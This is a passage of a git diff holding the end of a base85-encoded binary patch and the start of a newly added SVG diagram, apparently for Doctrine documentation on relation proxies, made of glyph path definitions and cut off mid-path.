zk2{jl$v~SvHr@_wGpLY|P>_VdwJ1jk;siL~>F;J(K!)A9h`?#ng4Bg(cMoH0uhCrf
ze`6yxAf|^*mmJ;R(iJb*F8^|32-nNuQ`Uyo)sIvqF3p=dP3^GxMN(hIrw0pmc;~&A
z9|a+;D5_&i*_O?|xsRmOyi>O8)8^ba=S&-C`S!8yx&O+JiWYcXG$rB`zPYP#Jq=<B
zjm5O{m5Q-1j;(ophb|`T;zi*eH-|5D6}`KE%X;3`ALn{^AO2x!McSi`v|z*Sdn0Zc
zmlda9`*5{R2QG3Phmm{v+F6`!h3mf&-26q(zIP8z`um8cRr`MZk8Sp6)1%E@>z}L{
z^Xdf&8YcR+y|eS@2Mf8GX&3!#gw(~Pi4=-lJC+p}uF#3Yg|ykDy)5;jyHX%vmdi%V
zw7zvW@9@q_TX20GqXFS_YQ8Pl^0j^Xzo%rxP|yp;SxD^f>9p9qV#lVEZ(p@u{@%nm
zkzw^i2kc@Q<#18s6E1xuD>9Vlw)+J#_iqpFYEmXGdMsqcReK}v%$s(h7W4={uiInL
zeYL1WyC~zz#fcsVm{)oattkEJ6Z^am^Odzt-``s$j+1b~(9a>e;{9>_^6G87{qr8r
z303m^T#wU6$(8>7D>_GB9Lelyxjb)I>+(A)GGClFA&V-0d&iDdZUN(Bb1Jj|+ZMru
z1ttY>fWQDV10V-rQL<{q_m98%{^Wa}7Adr}*8@}7sV&|hCjhalUDv+%-KVDHWIb^2
zQYI;vOors8$n+XXBmO9Ua4yaW!?Vr(XaPfH!CKZ1w7>!bdDYr&-F08=*f7g<*eW>#
z(gJy`^qFT5ezr0BnaBTTcX%L79$3Ufx)BsY^dz(ZKP=RKq$5Ci%g`%;Yz(oS0IL$P
zi0(9Hb;EPCocFyxZCa4F5IhkeR12&B=4;2w{M|NF3u8$QiUXd6(vDSd3~pT|>=gZA
z2_s98g+rM5TC1VX%|sfO36v=kPPfa_;$%FvfnP92GfXfaDDKuq{^jGuU;b9&j^KM+
zz+n#sQl=!KTzi{`$yv+9QRGPzBq1q6OO3_Y;O)(x3)Qf;+$aPRyD}iFEA|VD@WE!L
zM;o->zcNW1nF5Tfw}h|AlnEUkL%H22;6ffqag;=zDzqK4Svwe~N2m)nf=<48+M}tq
z!se=V2IW<wuf9w9{WW{LIy|Bzh>XX#H(RW2%#M~Prc~Jqp4p|Zb%`Rtri`|A(hzRJ
z(oT<mbaYa@bMvDmX1)|8$*3tDjU*&ZXs@){j1X*~Hy<##*vV655dO|s=VGJbK<Bw4
zwIn2)Z)>ny8r@EzbizYf@j~;8yDP<UV!)s2FDoo$zN^Kd86sC5I7#}H=|X#p3(SzB
zMoYOKSNlE(gQI{e3FCV@JZvnbQ>O*Uwi#{ZF*5*ifK&-E;aaTLf4}+qilW--_bqc;
zjBN1pK_{YM2MG^uQ1R0@!m3^WUH&c94jUt6)6h?idTO-eynp#g2m39nfzkq?uuPCU
zs};;(zF)PuspR8rKhH2W*v^QwAV%`9=S#lbIbzw<_t@-ih8D2iJweg}%n6`7hz;OG
z=O{2ak`v%pgNO>q$Uiv(LqH46t{&I}_eNOl4J_EV*1}JG1}(_gmJKgF0hge*_U`RC
zK9?ryw*MyodV67O6J$MPR!3%)XI8nRm9PPI_7>=?<mk@#ae@<cx;K8nk*NZ;2L0E+
z<qXrH{0=>L<~tLz$E%DT4rRDRx3^-=^UZDtSnc(7FR;yhH6dj)EbK0>B;)cBzrkF!
z)+|x;n6S*q*zZ`BP^$v53d9qrjGGojtCHqw!P=l^CoPf#yTDubzAoX*F@Q%Z?CT>N
ze3GS7{YOqPN(6jM_yYU@9Y~dc{1suUg_*0gwDig6me~`>WX!+TVbX(<!C-eSP%Z0%
z)!w}Fy$Ant{n&Bi0Xifs#WNt16JSvRkr|NL@I(k;;)sSTkXJZhtU}OSIJ0BN_P5@8
z8(w($6EhLu=pd&N=#-rp*cfiG8DRuwzBzMd-*Lwsa0@Uj1)&#m`b8`HfI}B+6PRg<
zrNzCGM%j>J=sP-(-Uy7tVBb43goXnGLqiLgy*(P?0Y~5#?bz)ad!~2QMJpa&iFyTk
zu&%j<(X)hxLYv#hxbgQUQ0l!2TG@_TzfhgWwXQuu1CDNRAK5sjFrz5$_x`ZDV<t4M
z$3jJ492%debk=s3uQh}HAgpmG!r`d%3^QPbEKJm0b|pSG0q#lmxyNfI%IVNsTcA4f
zxa<7!AJz$PIVf6y>JDTENMHa5gc^tWZpF9DpMLj~(YO3v5g7{s24FHf{*ybwTL`V>
zi^SdaHSJ%$_~qBjVRV2x7RyV~3>eIOIvied(#HW2=tm2%a0_DK12bSE>RYW4W1o%c
zZ+AK2e=b<RK^TS%Y=c}}@#2jJCoK6O5nw{-FhO)6ijEQj>40GY^ZRI8z|N1yzYDID
znU2^4iOTRRfaM41Pq?W;ws}D4NP+VYfuW)W16${^GG$gffR?}k&8wJopUrQ?r0^NA
zbnl~K$$}q}DAEw{wr_I{J_xW>gM%Mq_W+S`A#Nd?hw1bmC(=jwAx#b2H5B|f*l8kw
zYy^ABiCcVf5_bAMg&KmV1xQqYR0D_^-~dO+{19eU_;~Bpmsb?mO<nQ~1owq4*q~Gi
zP&1_6>^fA@`T6s|{I=a}G{VG+qy<Q~icJoKQOynsKBSU!7lA-p0Am$N3qa=u0s~+M
zY|<Sj84vt~lQ4AQuRse1#R(8Ncoj#q07fhvKmvdbzyJpI0g4Y6XmS`R@j3~@Se1Z<
zWP#)uGX_+{fZ~U9_fe9TpFRRZMhkjZdbHFYM^k_@0rFsNf&DbIA|EN)_e%CtD=>q%
zSJmDt6bM|$S-p9HEDS}YVMaTM;vqbU7(&G&Ljl_7FghJ3S`j0sd~Tba!&n{mKs$OZ
z4A{4%56ONlXQ;)=Da_H0M}`qYK{!tT(GGbH!PA1kTQiS^H8Ox{6#FZ}^a_wyR8~Iy
z+_IkNk)tlT-eJ^(scP`hA!$L^p~}uLmTla=3upn%r&#Waq^4M2N+!V}9}MSNh5cv&
z4Aek@0SE~YCjg27;x0rBkloB+-*>!t16xJW!C}zCfg}WwWe3Os4jUR6k?<rp!c+rS
z4o?TMVdNZyKk<t&*k+$+kDGMo<OmE6Ent>!9+!54T{(DKK_ntdAm)LYn+G=N%zl~)
zUL%N*W!;+O-FN7~dbd=;aod>fJe1^%fG;qraj(k<)PW%k5MlrVA%T?6!>rO^V<-^u
zm>51x<*b<?m&=D-xR4Z(iSEzk3prk=j}n1Qzz;bQtRC^y$48H!7vgb%3ouVC;kWIq
zUj0bz1@BA`H`Q*h3Y~i;cg@mDeS?c>0JFE`cpO0dnRY^UBF2u*1#1{{Yf4B#OUNsP
z#!&FI0IlwfG=x0@RS9Sx26HP+wGyfHyKlZ;_MgwwuemcMDcx<ea^YbF$E#RcAnB?r
z@A~q^ExYzYc2rCY@MKDq2xR&T5`jQk5NHj9WCOqk;0yXhqxTdv2)HHaUWmCOwHF8s
z*l_%eDgm(sL~xN=z<|;MB%BK*!RQ6VXRyEwog@=lkfUPQ78?RufIJa=PFfrzQ-@1n
ziMQ#kJuMzc2OFBGfLKOulcT5Esu&kP`>AYtXUTU@HVM>{umm}u^4mJC=57!xb0wi7
z4P>f!d);2Y#{wyQT+$eYI#R@?ebz3Esgo9HM5++*e&h=&+U4*X>zy1CPZT1O@cod)
zSr!Ee2y9LVFbbd9DVp_kUW`P)?!_`QEy}n)cmDNJn;zJylZvHwlPMx;!F9Yf_f;Al
z{Kyo!tIKTEb3#&;G6m(aI1G(ekC!Kjlxf1n;7Va`v6?%*6i^&iXFtr3LD2#<^&G28
zzybqgeh9d}_WZwoENz@{$D^QXfd2)lN<g%rv$mr9>le1|Erg`#u+u^!S!8|9&^_Xv
zILwD^(B1EqG_r#hi2<;13x(W3pTG%_AOX<=Bnd;qEXZ5o^4MPhsS<z$fZ_n@4gy0D
zVU56X*YbXH0@Mb4GI0FkMiNdC<dYiC#fE?ufF}ZDcQ2LCdSiTgBF_aGh<iF$E-8)v
z+vp2sDD;QivM6r-#yX=ianf{^<*;tof68T3MoyR|w_70_tZ~N+Wp&lU*~{{>#!8$<
zr$8%f|EYM}D(94^#>FUUS}JxoHm!N6oHsjb(Veki72woaL}K^yOLm$y$|<i*i0)}w
z{~ybx|H&x0e`{$WC6&@9t7!JKc`+jE&JPZ|c^u8`l<8M0Hr!PhefyX&Tf?3j&FqVO
z>z-|jxh`kcMY8Qr@9C6BU$ivQ-Qkf$aLPYAP_)H2>#h7KzK02MZ0Pv;p|UOzZ?kEQ
zhxsumS`a8LK;N-fLZB)E&L28d|HLy-b%kf-UV5X$3>k-ySVf%#a6}6_>MHbKzPP<`
zKhOduFmRtwSD+Gs%!9*x+y>eGetHCCI)GFO$RGxJD8L!S8xSqP%kZG?g0}BS_m6Uo
zB839xwTRkcMOcty_#`Z0u<Z=8JEYioiNL_7f&+FN)CXQ0owhV*L<0TG{aZd?TC6wA
zQpZc8;srI|9$4{kaZ8UVCPQ8FTB(lqw{LH>`eUbF5_<5x!XKWk;KoFaniiXXbK<Bx
z;ct&`{r2fvtA*xssmYJ$M#@Y--m>w(cNTJD;%D5Xg`gfDx3~QBqBSqo`(&ETizJjt
zmX;!J+1+L}IjUB-f^Hh+v}7_VTj+=jV&}XydhXlf=G_=8a@mY}w?HmpLLgHd+9S-l
zYxLB~!W}Q{E!r)-`0weC;<}X&7gSbpN8g;6Ix0LRMqKjI{?*S{Slz;~3=t$CK;Hl4
z7!(3nhKYAAXez|>AWVWV)n<*%Ty*tS_R4*2<;5bIf-x3lO*DeJ7vqb<1Z3(BRDicu
zNUMtErAV<F_$Tt6AkYs1yqQK{u=PG#s)25Tcpn)C0{cXV1`=$j)mp6<@`%FcpblIK
zd_l&BP&u+RL@F@E7|<(#MG?n7wSEIT(7F~$GO!dRu%2MvEK+7TBQONZ9a#R;G?kbt
zaWphG)^Xg0O{-tsS6bw%`n6L!HtnkS$3$wlZktCS<~Z#hpNvbzioy0QYF^5P_a?Yo
zZ4R*{F;~^Lr=h*Z-nz22t=2)S)ZudK@Tyv~n{w=JYix9c<b+THisLhGf2+k%+F94(
zO}r>6G&@RQGgoaey4p<J9xrcg;0gqc=K?qd@MV;#s&m(C<vZW5`1Q>?8$UXGW~i9*
zdh8sZ-6ctk%blQcw6#_IVv!`vDJKo#3Fp6*9WHVk+Q4^CUs>3b_xQ9+?vFb3Yg2Qj
zM*uk;AeIn029H3XY!-(YLUS(6eJ}&UR0w9?3opCkk_ovDTYhxgEtE(EPZ6!?!Q7BF
zOYNOH1Lw_tb0VH4$rpmau?V156K~3~gCBfB>VIGcux4Wm0MJ+=iU6O3I?#piiM{|K
zKsJU*eSn1oSWXbws^d2M*pv8@Kx>0wUL{h7Ab=1U0$RXE<@VWJ9G+6nvp8K!MfU83
zg#73Qi___{mK|?YG_|^cIyekIK9A!zdEG`x<UzM=ZQB387QF$2?m3(`zcNxzTfO{5
zsXR;o76yI+R}m-o7#vQSL=!4D)|epjAZ+|(VFGX!F8#V)lO1=#O&VQQYilC}JrsoI
zt0c1CH3+N{A@h*A&RDm)wf2|RlJ8qA23nIW6o~zd69kW<&AL5b)=M%+%=k;FtDWYH
zDQja_;m7s$)n>cPZFO-QcQpU}c){UP?v$nZlm4W(8=0_%WW<~T0(gc(Ydl`IvCM!`
zsfxuuujl%|-kv0MRc~1XnpQR*MPES5Anw{5qJ^zJaFc|#S!8ES5C{f=Knjb74UP+h
zl>LYqz=3x5XhlbMf`dBHC8!b<p8zYruvrXlFcugD(*?o<f|xBxk%18y3R>U;Ew8_7
zeFqgDJN4Gg>5q+_bY+~t<%RTtmJXjLIxHzos!7mf&5?OTqJ%MFN}1K<<b_1Sg0GIt
z){1PFy~`VY(P2~W&0Y9vZhV}WV=|T%=woN4O}=B~)JJn;wa)UN4Su0OC=r4rfa9jk
z+go*3L4<}=`$LOgz)_}!T=+_MLYm(Vd577!2;k8WcTxP@f9KD6YRrwRCPu|OO4jJT
ze6d{1<tZdW%2xJi`S$g?^qcc@C-|G&oMB0jn?xF!6QLH-ZYq5KeYr7GuBFZD<an(*
z7x>Kuw{aa9?qOI0PgQt@4vfzVG6R@%VMb0(NxtcZ8{L%!trbNAshkM}!OqjcAQre`
z>NlSTb2%wP5Ws`8ACJWG0kO*f+SX(9K=gA^2f7v=h;86_8-cM1QA@BGgFGXG!0(0t
z_4LzEpX6p}T*9;)XqpQK<luq0V$FAnbWT!8y3^yJ1bkyfkBjC-P6<)-9cBNk*#85#
z2MFS4M}<Ukn>Ke^?0&A-eE6VG#`kvZZ>p>1#!rb($PhHGKUBQ7-AW4tQooQ-Sz4Wn
zSf#bDbNA;hcCRRIYG|02uKd2H_*W~qDe^3~=6xn;iNod!nV+n3>NdaD>=#jxjZ~=?
z=t>MmJ>*qj;w>@`kq(H9C=gM6N0YT|WmVNqGbI&U>hv9l-9EG1(CBQ~Z-l?{9NqhV
zHEGf#Ql_Zs#_qizRW=oy-Eu+FWr>lof`*?Cmv7X2+)QZafZztd+tWF_ZUlM$6e88m
zh7HPe{?v)n;U{c&u;qWhI01o8$NR9rAZxe)QvX}b=B!cK?X?yA_ZNnwXY<7}AMJra
zR>&dsxIjQQOq-$GUb^G9#dm_&7?Q!_iS=03?Ae7TY0cS(K%gcbja6i4fIb6<7N!e0
zc2<yI0z(nwO3=H5@)+TpVmSd;ZJd38krthw2n>xU0uyhS$FX-id7%OxOy{r!t9ed?
zOBgNm8r^OikFTV-kSPG%4PkZn@cb0*lR>0GpU38>jsBcRN9WCvRen_4Nrx_cDzW6n
z{rgsSI3Qh7gplj=I=Z=173H&g>^8qtD}-eB*|((U{wbmDo1JUlGs_iRkKJqU@rpEH
z8U!A3Oco)x)dTqqncPV1q9TwA!PwAgaL_;$gg%#pBUXVsu-~G0`S~Ek_BknzM8R|S
zcpwd_K;Uy(+(O7e=<>R{ynLAmaxn+zOMiY25!|aIo(LC<9=q>J5A6YCD-@Isxmlki
zo?xJ%0DQ-x53!{;a7_q(Xf#=t-gB2ecJ#=3SAz*SvsGeZVjd?#6r5xn6zeK<U%j}y
z=pe)`0A(#|2A-hNg(qSa=lRnj-8&@&@L&tnDPTL5epR0Gyl|om1C?%gOGXCpDLqMY
z(WxUa2qgk~H<0k4_gmk6nP7r`t}Ie2_VWciu{=}&J9cTfjAy4r5~(smED`d>YN1dq
z5laLD6(y33BtD9w1yYD>5W;KS+}2#{8+q60OCO19{HdmLm&qp<DMG|N8;9c*%C%4%
zmnRn~qeXCUo<tOVp|)#t&E9W&q*9;_eoD+&#Yr$HfVDuR5~*Tk>UfzZUapRl$uyLo
z_K8C!axF#4gz|797$49SPZ2FshB9XqA_31qN#qid6w(~<q#+VskB{R7s|7Kn7$%&c
z|M+6FQv@CZ4!~no33vyF91}q502`&~sEEJ)ZLzatM_W~iKrHdYuo@)#fmDFZrvpA0
zQlK9Kfs1h<GdMPz02U+!ul2_zacx*lfd15vi!ih}I6WG9js$@rL|_oKAaE%6ZNZMj
z3I;hZ4OW3neSRO4(wF(<FzIi=(2t=LutS8L2n?@)Z9HQ>$k;p59vb%N*7EM{&+K3K
zMDgl}3pcz}Z|b4>LM~jzfdF5Sv6<B}!vX=B4j}Qd&*9km_kEk+sWDn0UQKU;A^1~Y
zkYeUNf*XN}BAjGDAxsYQda;=cAmko2j5U9QDm@U185+v^89-Cv3(b1ig9QU5O@K3u
z>oN&sbj)~T;z0-6`5iIzJIT=OH_0N$1RT@_cKKj_1u<slUO0E*v<V&C*E&oFzEI3O
zp8hQKWaA&tyktrp!f9f-RfSh;JZJ+4;ZeJzegt_iKhYNJ$VLkVZ|~#5gb)n3QFr$A
zH&|MLhA$qqh}rg2x3dc}>e^AXp-(f6{~sAFF#nipz@Jbh68Jei#fH|sHi%&?WTFZ}
zj^W-i0rNY1TiRzo>~!0}y=@5g@kd0=Y|EMSgNUB@CR!rz=FwvnC5Z^w!S~xLon&MO
zZiae?NT13UiTy!l04CZtn|1Nh`=huJd1^D5w1DRbo|=PsZO~otY#YoaqzpmeL<scT
z&7Xo`U{IG3E=z{u*?>T>v;fbx=nJ!MvV~lEP!nku?<AerkO<+BLr_Bq0Th%=BnYM<
z5RNqgW;`<LNCXDL800LjQRogqKo|@PD8fnvR=GrBkO2V+f*i^s;D~}cOArB3PzKOp
zJlFv1Y)#cxZU6PXuGjB-@AuyCd-Z+Q^)WKM4CS$*@B2MfE2`mMZBu@Viov{Bc1UX8
z%q0gSG=#o6+LmuuFbv$+zqsG`JjFo=`+m|mh;Tlr^;`lL*Rch?LFy~be*bI<30XSX
z%gT{tkEXVahF7q68}XkfuV)25mfLLg@KwSpN`^&IoG-<~BPyposHE05hNP!!dbYuF
zKKK*vplxaE^pVf4+VgX<OAgJ6B0q_PTzrRHVR>cf+}vVBY~L>JQeIy~W*ID{M9EOy
zQcrk0e=pX`3b<wt?P9(V5vy*+9-A0k$NdRahpGkd>=q0!N7Mq*vOozI#E1YVgc5cL
z6fL*_>EYQY^wl$_qU`f{3D2hYo4@^)5jwV=opP~L?5ez(z9Eh@LC5xt>&5aa?d659
zW}t(zxY5r+hc;@rC*r+8UYCzq%$P=MPO<TnX<%Mym~=n(?low3!k~rvSo3Mb9A~_}
zY3$`W#jQz1wNj?{C199NH@^L7+w|65g6;V}<+L&1%oEK7VNb)NoqL4>8jMJm=d1t+
z(AaUI64jL*|7Rbz?Df>qYu{H`iqojgwG$?~R$F8nu+z8mrmV_h_@J!4=)F=+fNIEK
z9*lPm{(G~qe<3k`Ufy}c0oISbuHjM(X!+ZaM2FHW8E_AP?|_E{WK8mh-0WQQ!x3J$
zi$1iSv6k6uc2{`6l5h4jA*^w2+p+D9=~kz-9JQTJfy&0Sx%%}>C7=Q}n5<I;fv!aU
zT|zL%3>PLl9%7X@G6&D1f8?_0=~<3zgF6m+pM17xS#~USaH(LU&!iGnm)UsNYLQ5(
z%ilxq-^_B$)XBM!d&<9lwC}2uC-J(AfyK0y*_=s^xdJ(s^4M42bB%AB<`%BCeE00P
zRBtMNoa{~nso`#%hTs=Zp1jw5e084`kA@T7?TRDg!808iAcRfS#42|9*?djTAPm8L
zpa)18uC(on#4+Wx09p!FBG!L*B4huiX!h^L@$8u&)<ZJF#s-Qrb%*VhEXc3P8H}NC
z$xt8FwhTY$Bsg8uL}_po_IYs*ApcOayYIL@7`6$q)ypW>3vKeb#_6daqtj}UKr{i<
zkZ$v4NPlSW?81Iur#JygxgpgBKMD6dw~<iJsVh7KQF-z*&8Elrm)Y^)`D-XyhVex-
zq;n=LhQ8pB4!uTs^5o*c!Fliq$F)qwC;l4=S%&`BV!%ZVZz`^SFdI|-+`pz=9nq4F
zw3dT9dn{^4g3fVwg#Owjz8C717oFAl63BNGXqWH@w-0VOKDVhb;g9b6YJVSLoRAmx
zw5fLD-dTfB6o{<wCWwq;1elxF!yT=tIf;LZ?T3@%1^y|4kv2cIl_R_E^V>Wg2B~8{
zf?4^1AHif3$&Y}(lpl%7TuUU}aB}N0^v*#9Ml}`)&Jst#G{(%-PslsRis|3=w(K)G
z%j&pOzIMxST~+*ee@fNjgB#vTwQJIprABtqj%w=)x-Ffj=n6l2y+AIT*jITfda28V
zRHn|aVUMST$zq}ix>~UA>ngUOmEjnm08NSHUCxRE7_tZ~t=6qE@?(2a;yij-iPtMO
zp|2N)At#k}#&3xnw><jT6y3%S^H1*BooDy?R9s}>{T6rGgnt@-kRp9*4K0o6MRJ+j
z24Yv(Z$X1VBXil|06`5qpFyL+kvqmgL7=h5ti&OoS*Jd)-;aU>_drBbxoZKqlG2$)
z;)Wz;c4N+HNpbm`s1ZO=5B=;=fOuQq#ytH>{p?Z<sseR#I3GHx9y46>GS<BY%P~sz
zc(U|%;IRqG64$OSIjXC*nH=28nE%~tV2_zOV&$%bbYX_GinrNWn_0bL)flzYL~9JZ
zbI2waob63*2FSXu)uieK<=J(@x2azbUZlGz-Fi_%TcM)e5*hMT9FBMNpu5*tFl1sR
zOf(l7AWg}vROvr+x*IdF9=u$rT7pd)1)-ney;y3o;QWz5<d#&PBEYB=WIQlgW1A)*
z_uj*J*t;s6{-^?xDCUzpd<_E;&f4ou+F69Cg4^Y9cg~-EI-0Ep*;v7PQB5?%o8(DM
zti9JJRa+a$^)gQ;7rCKVulotYr18S;-oJ3jeFXr56d!Ay!g)~rt<J^9{&y-I#ScMm
zlOj(D<qx%)o@NaARx0llQn*vgqQLoIv)_^#vSQ-bUbM}!Uob>cpSEx=^@SFC)js*1
z<ZlWVDb~feE`0t0WPdyWac=OY(#MZEq!spZ!()pQx$`$SF<~LVr9Q&h04Kj+tD-L~
z4Xi9w9xFzVGV5sYT2@k6>2M_1fimE}S^;8+w3~?i8Tk|dxY$~Vy+(yqQ@m~`sm{wN
zG1&Re-ut!q4(>cMYR!x4KTQP>C)lz)huN!{<$|IjJbDz!9ewxYtlHJqp+&^2WiL8<
z!fYe_@Zu#-922uwdaB&lKMV&e*cy@kp!3IH;MH$kL4p&JTT{JL`v>l@0}t#aE7={h
z&U`_goG~uKf9h4OJ6htfl3oflKl2_Nvjl32WZxviQuavwXeowRu=kn4j|Qt`W@4`x
zncID6bUP56Kp~gzgI@Q)F_qadCA8*Mx*NM8eON2!75tXl9!#EeMM{c{S*T*Tssdu1
ziCsEh#tLvo1Yl|{k^!yYw5qi%ulCLVEoY_!K2!<n^ruPDvTXU^DgLi4>n2m`@Bzn{
z*Qo!rXju4HzmUgTe>GWcPVrw3>5K1v2jPy@AXncwQQ+MwNkE$BDq1Tg1S5SS`D}s5
zwv|@9tW5^7Vl5D(ZtDES5GqH3OZc|ujI)PV7VzcBDG&&mLs;5Z;y)*B!zqwE*%?W1
grmbW{VIL+#ADI|J_@ep-un15*9<E%MDrdgv-#Gz4&;S4c

diff --git a/_images/doctrine/mapping_relations_proxy.svg b/_images/doctrine/mapping_relations_proxy.svg
new file mode 100644
index 00000000000..634d1b0add2
--- /dev/null
+++ b/_images/doctrine/mapping_relations_proxy.svg
@@ -0,0 +1,926 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="821pt" height="378pt" viewBox="0 0 821 378" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 